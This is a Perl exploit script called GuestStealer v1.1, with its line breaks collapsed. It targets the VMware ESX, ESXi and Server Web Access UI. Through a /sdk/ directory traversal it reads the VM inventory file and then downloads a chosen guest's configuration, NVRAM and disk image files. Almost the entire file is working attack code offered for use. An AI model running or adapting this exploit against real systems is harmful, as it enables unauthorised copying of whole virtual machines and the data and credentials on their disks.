#!/usr/bin/perl ######################################################################################################################## # GuestStealer v1.1 - Justin Morehouse (justin.morehouse[at)gmail.com) & Tony Flick (tony.flick(at]fyrmassociates.com) # # Updated by Ron at http://www.skullsecurity.org # # # # The latest version is always available for download at http://www.fyrmassociates.com/tools.html # ######################################################################################################################## if ($ARGV[0] eq '--help'){ print STDERR "\r\nPerl Module Dependencies:\r\n\tLWP::Simple\r\n\tXML::Simple\r\n\tData::Dumper\r\n\tCrypt::SSLeay\r\n\tGetopt::Std\r\n"; print STDERR "\r\nUsage:\r\n\tperl gueststealer-v1.1.pl -h -p -s -t -o \r\n"; print STDERR "\r\n"; print STDERR "\t-h = The target host (IP Address or Host Name)\r\n"; print STDERR "\t-p = Port for the Web Access UI (Defaults: ESX/ESXi = 80/443, Server = 8222/8333)\r\n"; print STDERR "\t-s = Is the Web Access UI utilizing SSL (yes/no)\r\n"; print STDERR "\t-t = Target type (server/esx/esxi)\r\n"; print STDERR "\t-o = Output directory\r\n"; print STDERR "\r\nExample Usage: \r\n\tperl gueststealer-v1.1.pl -h 192.168.1.2 -p 8333 -s yes -t server -o /tmp\r\n\r\n"; exit 1; } ############################ # Requirements & Variables # ############################ #use strict; use LWP::Simple; use XML::Simple; use Data::Dumper; use Crypt::SSLeay; use Getopt::Std; $count = 0; my %opts; getopts('h:p:s:t:o:', \%opts); ################### # Select the Host # ################### # If no host name was entered on the command line, ask for it if (!$opts{h}){ print "\nEnter the the vulnerable server's Hostname or IP Address:\n"; chomp ($victim = <>); } else{ $victim = $opts{h}; } # Prompt the user for a syntactically valid host name or ip address until they provide a valid one while (($victim !~ /^\s*(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\s*$/) && ($victim !~ /^\s*(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])\s*$/)){ print "\nSystem was invalid.\nEnter the the vulnerable server's Hostname or IP Address:\n"; chomp ($victim = <>); } # Remove leading and trailing spaces $victim =~ s/^\s+//; $victim =~ s/\s+$//; # If no port number was entered on the command line, ask for it if (!$opts{p}){ print "\nEnter the Web Access User Interface port number (0-65535):\n"; chomp ($port = <>); } else { $port = $opts{p}; } # Prompt the user for a valid port number until they provide a valid answer while (($port !~ /^\s*[0]*\d{1,5}\s*$/) || ($port > 65535)){ print "\n$port is an invalid port number.\nEnter the Web Access User Interface port number (0-65535):\n"; chomp ($port = <>); } # Remove leading and trailing spaces $port =~ s/^\s+//; $port =~ s/\s+$//; # Remove leading zeros from the port number if ($port == 0){ # Handles the case where the user entered a port number of all 0's $port = 0; } else{ $port =~ s/^0*//; } # If SSL is not specified on the command line, ask for it if (!$opts{s}){ print "\nDoes the User Interface use SSL (yes/no):\n"; chomp ($ssl = <>); } else{ $ssl = $opts{s}; } # Prompt the user for whether to use SSL or not until they provide a valid form of yes or no while (($ssl !~ /^\s*yes\s*$/i) && ($ssl !~ /^\s*no\s*$/i)){ print "\n$ssl is an invalid answer.\nDoes the User Interface use SSL (yes/no):\n"; chomp ($ssl = <>); } if ($ssl =~ m/^\s*yes\s*$/i){ $PwnURL = "https://"; } else{ $PwnURL = "http://"; } # Create the first half of the URL exploit $PwnURL = $PwnURL . "$victim:$port"; # If the type of target is not specified on the command line, ask for it if (!$opts{t}){ print "\nEnter the type of the target (Server, ESX, or ESXi):\n"; chomp ($targetType = <>); } else{ $targetType = $opts{t}; } # Prompt the user for whether the target is running esx, esxi, or server while (($targetType !~ /^\s*esx\s*$/i) && ($targetType !~ /^\s*esxi\s*$/i) && ($targetType !~ /^\s*server\s*$/i)){ print "\n$targetType is an invalid target type.\nEnter the type of the target (Server, ESX, or ESXi):\n"; chomp ($targetType = <>); } # Create the attack URL string based on whether the target is esx/esxi or server if (($targetType =~ m/^\s*esx\s*$/i) || ($targetType =~ m/^\s*esxi\s*$/i)){ $PwnURL = $PwnURL . "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E"; } else{ $PwnURL = $PwnURL . "/sdk/../../../../../.."; } $GetURL = $PwnURL . "/etc/vmware/hostd/vmInventory.xml"; # Obtain the inventory of Virtual Machines. If it can not grab the vmInventory.xml file, # print an error message and kill the program. $err = getstore($GetURL, "/tmp/vmInventory.xml"); if (is_error($err)){ print "Unable to obtain the inventory of virtual machines: HTTP $err\n"; unlink("/tmp/vmInventory.xml"); exit 1; } ############################### # Identify the Guest to steal # ############################### print "\nThe following Guests are available on this Host:\n"; print "------------------------------------------------\n"; print " ID - Virtual Machine (Guest)\n"; print "------------------------------------------------\n"; # Create the XML::Simple object $xml = new XML::Simple (KeyAttr=>[]); # Read and store the guest inventory file $data = $xml->XMLin("/tmp/vmInventory.xml"); # Access XML data # Handles when there is more than one guest available in the inventory file if (ref($data->{ConfigEntry}) eq "ARRAY"){ foreach $e (@{$data->{ConfigEntry}}) { print " $count - "; $TmpGuest = $e->{vmxCfgPath}; $TmpGuest =~ s/.vmx//g; print "$TmpGuest\n"; push(@vms,$e->{vmxCfgPath}); $count++; } } # Handles when there is only one guest in the inventory file elsif (ref($data->{ConfigEntry}) eq "HASH"){ print " $count - "; $TmpGuest = %{$data->{ConfigEntry}}->{vmxCfgPath}; $TmpGuest =~ s/.vmx//g; print "$TmpGuest\n"; push(@vms,%{$data->{ConfigEntry}}->{vmxCfgPath}); $count++; } # Handles when there are no guests listed in the inventory file. # I.e., there are no guests on this system, so it's time to quit. else{ print "There are no virtual machines on this system.\n"; exit 1; } ################ # Which Guest? # ################ print "\nWhich Guest would you like to steal? (Enter the ID #)\n"; chomp($GuestID = <>); # Remove leading and trailing spaces $GuestID =~ s/^\s+//; $GuestID =~ s/\s+$//; # Prompt the user for which guest to steal until they choose a valid index while (($GuestID !~ /^\s*[0]*\d+\s*$/) || ($GuestID >= $count)){ print "\n$GuestID is not a valid guest index. Which Guest would you like to steal? (Enter the ID #)\n"; chomp ($GuestID = <>); $GuestID =~ s/^\s+//; $GuestID =~ s/\s+$//; } # Select the target guest from the array of guests $Target = @vms[$GuestID]; $Target =~ s/ /%20/g; #VMDK Path Determination & Manipulation @TmpPath = split('/', $Target); $DirCount = scalar(@TmpPath); $Target = $TmpPath[$#TmpPath]; $DirCount = $DirCount - 2; shift(@TmpPath); while ($DirCount > 0) { $TargetPath = $TargetPath . "/" . $TmpPath[0]; shift(@TmpPath); $DirCount--; } $TargetClean = $Target; $TargetClean =~ s/%20/ /g; $TargetPath = $TargetPath . "/"; # If no path was entered on the command line, ask for it if (!$opts{o}){ print "\nWhere would you like to save the stolen Guest? (Example: /tmp)\n"; chomp($GuestPath = <>); } else{ $GuestPath = $opts{o}; } # If the directory path does not exist, ask for another path while (!(-d $GuestPath)){ print "\nThe path (\"$GuestPath\") you entered does not exist. Where would you like to save the stolen Guest? (Example: /tmp)\n"; chomp($GuestPath = <>); } # Steal the .vmx FetchGuests(".vmx", ".vmx"); ################## # Parse the .vmx # ################## print " - Parsing the .vmx to identify disk images...\n"; $OpenFile = $GuestPath . "/" . $TargetClean; # Open .vmx file open(DATA, $OpenFile) || die("Could not open the .vmx file!"); @VMX=; close(DATA); # Read the .vmx file foreach $Line (@VMX) { if ($Line =~ /fileName/xms) { if ($Line =~ /.vmdk/xms) { ($Null,$DiskImage)=split(/\"/,$Line); print " - Found: $DiskImage!\n"; $DiskImage =~ s/ /%20/g; push(@Images, $DiskImage); } } } ################### # Steal the Guest # ################### # Steal the .nvram FetchGuests(".vmx", ".nvram"); # Steal the .vmxf FetchGuests(".nvram", ".vmxf"); # Define a list of the files we've downloaded (to prevent double downloading a file) %Downloaded = (); # Steal the .vmdk(s) foreach (@Images) { $VmdkName = $_; $StealURL = $PwnURL . $TargetPath . $VmdkName; $VmdkNameClean = $VmdkName; $VmdkNameClean =~ s/%20/ /g; print "\nStealing $VmdkNameClean..."; # Check if the file already exists if(exists($Downloaded{$StealURL})) { print "already downloaded, skipping!\n"; next; } # Mark the file as downloaded $Downloaded{$StealURL} = 1; #Flush the buffer before starting the download. We could be here for a while. $| = 1; $err = getstore($StealURL, "$GuestPath/$VmdkNameClean"); if (is_error($err)){ die "Could not steal the file: HTTP $err\n"; } print "Success!\n"; $filesize = -s "$GuestPath/$VmdkNameClean"; $VMDKFile = $GuestPath . "/" . $VmdkNameClean; print "\nParsing the .vmdk file...\n"; # Open .vmdk file open(DATA, $VMDKFile) || die("Could not open .vmdk file!"); # Read through at most the first 100 lines of the vmdk # Prevents parsing of huge files while (($Line = ) && ($. < 100)){ if ($Line =~ /FLAT/xms) { ($Null,$VMDKImage,$Null)=split(/\"/,$Line); # Check if already added to the Images array if (!(grep {$_ eq $VMDKImage} @Images)){ print " - Found: $VMDKImage!\n"; $VMDKImage =~ s/ /%20/g; push(@Images, $VMDKImage); } } if ($Line =~ /VMFS/xms) { ($Null,$VMDKImage,$Null)=split(/\"/,$Line); # Check if already added to the Images array if (!(grep {$_ eq $VMDKImage} @Images)){ print " - Found: $VMDKImage!\n"; $VMDKImage =~ s/ /%20/g; push(@Images, $VMDKImage); } } if ($Line =~ /SPARSE/xms) { ($Null,$VMDKImage,$Null)=split(/\"/,$Line); # Check if already added to the Images array if (!(grep {$_ eq $VMDKImage} @Images)){ print " - Found: $VMDKImage!\n"; $VMDKImage =~ s/ /%20/g; push(@Images, $VMDKImage); } } if ($Line =~ /parentFileNameHint/xms){ ($Null,$VMDKImage,$Null)=split(/\"/,$Line); # Check if already added to the Images array if (!(grep {$_ eq $VMDKImage} @Images)){ print " - Found: $VMDKImage!\n"; $VMDKImage =~ s/ /%20/g; push(@Images, $VMDKImage); } } } } close(DATA); # Your treasures await! print "\nYour stolen Guest awaits in: $GuestPath\n"; ############### # Subroutines # ############### sub FetchGuests { ($SubStealOldExt, $SubStealNewExt) = @_; $Target =~ s/$SubStealOldExt/$SubStealNewExt/g; $TargetClean =~ s/$SubStealOldExt/$SubStealNewExt/g; $StealURL = $PwnURL . $TargetPath . $Target; print "\nStealing $TargetClean..."; #Flush the buffer before starting the download $| = 1; $err = getstore($StealURL, "$GuestPath/$TargetClean"); if (is_error($err)){ die "Could not steal the file: HTTP $err\n"; } print "Success!\n"; } ############ # Clean Up # ############ unlink("/tmp/vmInventory.xml");